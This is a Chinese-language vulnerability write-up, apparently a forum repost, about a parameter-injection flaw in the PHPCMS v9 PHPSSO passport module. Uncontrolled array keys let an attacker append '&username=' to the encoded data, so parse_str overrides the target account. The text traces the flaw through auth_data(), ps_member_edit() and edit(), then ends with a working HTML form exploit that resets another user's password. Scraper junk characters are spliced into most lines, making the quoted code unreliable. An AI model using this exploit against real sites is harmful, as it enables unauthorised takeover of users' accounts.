提到的通行证的代码:
- d+ ]1 C. R) W$ Z0 I1 P# j! {
7 ^4 z! @: V$ J* Z( S( D: |2 m l, W" i6 g* h+ }4 H4 i
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);7 i+ W2 u ]4 o! S0 {$ _9 c9 m
) G# Q& X$ j n5 _
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。; |1 c$ L$ ^& T# C
( E2 j# ]7 x- _) p' G我把它留给了你们。
/ m3 U- s+ }- I: _不知道你们发现了它没有。3 ]2 I6 j& n$ ^- M- l% R. o: M
2 _' T5 n& l* @$ z5 q- E& E) ?
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
6 ]. [: |7 ^6 Q! ?( O- J0 M. p+ A$ f. o0 M R, ^# G) }4 |/ _$ @
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
9 i/ V [3 a$ F% {7 g3 u# ?( x9 i9 k. N
也就是* T9 q* I- N: U1 p
4 |& p2 L8 R0 U$ G4 p6 h* {+ Y- |1 T
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。7 \; n$ K6 f9 H
) Z0 M; R" }8 s( x) F要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
. n* h0 c+ v% {. @9 c1 r2 n9 ~
& g; s' [, |& L% i& r9 a3 \+ M; k! t: n
其实我们有这样的机会,看看代码,如下:' b u9 O. @1 q- b4 l
% T2 b- V% e- W, y# _; _" f4 z. P
8 u3 c8 P) w8 |, H2 K
public function auth_data($data) {
8 ?& `' x8 L- @; h0 ?, W $s = $sep = '';
; n) H9 @0 x1 I( A4 r+ t foreach($data as $k => $v) {
) }7 k- C9 y/ G/ s if(is_array($v)) {
( c1 |$ s `9 r! q" c( t- d $s2 = $sep2 = '';
: P% W8 F+ v+ s6 k: A foreach($v as $k2 => $v2) {
5 m4 @# A5 b% y- c+ f $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);2 T+ E, l! G& T- p$ @7 Z. W
$sep2 = '&';1 O! `4 q# j/ F1 \+ L$ a0 c
}, e5 i" x. A7 q; ?: d
$s .= $sep.$s2;1 }. G) T4 M5 T7 R! h S" }% k
} else {
: o8 s% A P7 Z8 x $s .= "$sep$k=".$this->_ps_stripslashes($v);9 c6 e8 z6 @# }( y7 f; g+ y
}' K: d! y o5 e: d8 K2 j8 I
$sep = '&';
8 `9 F9 Q. C% e( o6 B }
# n# C6 Q- k$ {# ?( O% M' y
/ s* `, n; U' @" a( E5 v" g $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
) V8 g; ]8 Y; w) }* a, X! k return $auth_s;& s* ~7 u9 M! N+ L
}' j& b# G9 q/ S. E7 r! b* `- I
. G1 e! f; o- h4 Q- l! l
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。# |9 d0 F* k* O. R: w1 x9 ^
L) R/ G7 s8 d, X6 {/ E举个例子
4 U) C4 v. t/ O% V! I5 b! J' B2 J& O
$a[aaa=a&bbb] = 'a';
3 P( i4 x* q" ^$ v
% g! L9 P2 e: f$ S会变成aaa=a&bbb=a
4 d7 _3 e1 r5 q Q( u5 O7 ]/ y& @# n9 [ f- `- S
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。4 E1 w$ U# z7 s' ^! u6 b' {
4 {' n" `6 _7 ]4 ]这个时候,我们可以再去看一个函数。
; W$ V0 ~" p. e7 _8 e; n
- _0 E6 t0 k9 ^: m就在这个文件内:
) H( `" P" k; V' _ q- s3 X ?# ~+ q+ c- f" ~: K9 I. u
% j% W, @2 ^8 o7 J6 `public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
, u# X# @, S( t if($email && !$this->_is_email($email)) {
) O1 e- U( m$ S9 b# i return -4;
7 f& J, h3 r5 u1 O }
* m/ D: J" A e return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
, Y: N8 [3 M6 s }
& N) Y5 b- p. Q8 a4 s- X7 u5 q# U0 D& F2 Z
这是向通行证发了这样一个请求。
& B f* ]0 o! a0 s5 S
$ B. @) N, J2 }' m% M我们再跟到通信证代码里去看看,就会有所发现。! N# n2 a0 a. W, Z, n! S! A
& j4 h6 q! }4 q% h9 F6 Z
- U( l5 ?: m, D4 W3 kpublic function edit() {
1 b; u/ ], D+ K5 Q; m* ?//能省就省,太长了不是吗?" ]4 w. j) o: F' m
. l7 s" F* f! L" _0 f% m
if($this->username) {' z0 m6 w, Q' \, f
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。3 ?5 J' _ h" c9 E# t; L2 I
$res = $this->db->update($data, array('username'=>$this->username));
' ?$ B+ k7 [# z9 y( N$ X } else {
- V" G+ d; m2 K1 J1 i% J8 `9 Y file_put_contents('typeb.txt',print_r($data,1).$this->uid);
1 Y9 x* c5 J3 Z; J- B6 Y- t $res = $this->db->update($data, array('uid'=>$this->uid));
; M7 d& a4 c% J4 ]$ N }
8 B, B1 G& D$ K) I i9 C1 F* h/ ~0 j" i
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:5 G- K4 M$ m: A# M* t
, J! f+ B" G+ T$ q' d" r. Rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
% |! E" b+ z! j' A1 V
$ H$ e9 ?( ]) i/ S2 o/ G! E. j很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
, E- N% k4 T7 _4 H: f4 K
6 F% J; Q' ]6 n5 r4 D我当然找到了:
2 O, A5 s! s/ ~8 c6 V& Q$ {! K# n; P, mphpcms9/phpcms/modules/member/index.php) H) ~+ |# [/ o( V9 n0 C, z; j8 C, b
5 e+ ?0 n3 }$ w0 v: {: C8 S, D
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);+ V: ?$ N8 P, w
. S/ R5 E9 ?6 M. F$ I+ l1 |
然后就没有然后了。
( F# k6 y ]2 l- L. n, p" Q* n" o4 Q& I$ H
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
, ~7 i" k; H7 a9 K P <table width="100%" cellspacing="0" class="table_form">; g/ T8 } m3 ?9 |7 v% P0 V
<tr>- g0 J( w5 [% v: _$ P
<th width="80">邮箱:</th> & h; d4 [; i- V5 w
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>- b% r! a' }( M6 f
</tr>
9 {4 Q0 R& T8 W7 g1 \ <tr>
. z6 h" t- c9 C' [& r1 B( K* E <th width="80">原密码:</th>
! Z& Y0 r6 `5 P. u0 Q <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>8 v# l6 W1 F8 w2 L
</tr>9 u9 l6 p$ ]- y0 ~/ M9 ~/ b
<tr>" b2 @& E- M( b. r" t0 A: F
<th>新密码:</th>4 I; B, S& T: P1 q
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>6 p* j. J6 M7 _& `. j" u
</tr>
5 p' E. t: H6 T9 k1 B <th></th>0 p5 A# k3 ?+ q L) D w$ {/ w
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>( I' m. E9 W% i2 U0 C
</tr>
3 q$ W9 x+ T' z2 L1 Y3 ~; Y9 y </table>
5 |* ^8 y4 D" }/ _# o% R3 Y/ k" S9 u( V: t
7 O& q+ C% Z" w$ m$ i </form>1 v( ?- G5 z; u2 E: ~; X
|